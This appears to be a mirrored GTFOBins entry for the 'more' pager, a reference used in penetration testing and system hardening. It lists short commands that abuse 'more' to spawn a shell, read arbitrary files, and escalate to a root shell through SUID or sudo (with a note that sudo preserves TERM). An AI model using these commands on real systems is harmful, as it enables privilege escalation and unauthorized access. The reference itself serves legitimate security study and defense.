mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
fbd887e91a
Note added by @cyrus-and: this only works because `sudo` preserves `TERM` nevertheless (unless explicitly blacklisted).
16 lines
250 B
Markdown
16 lines
250 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TERM= more /etc/profile
|
|
!/bin/sh
|
|
file-read:
|
|
- code: more file_to_read
|
|
suid:
|
|
- code: ./more file_to_read
|
|
sudo:
|
|
- code: |
|
|
TERM= sudo more /etc/profile
|
|
!/bin/sh
|
|
---
|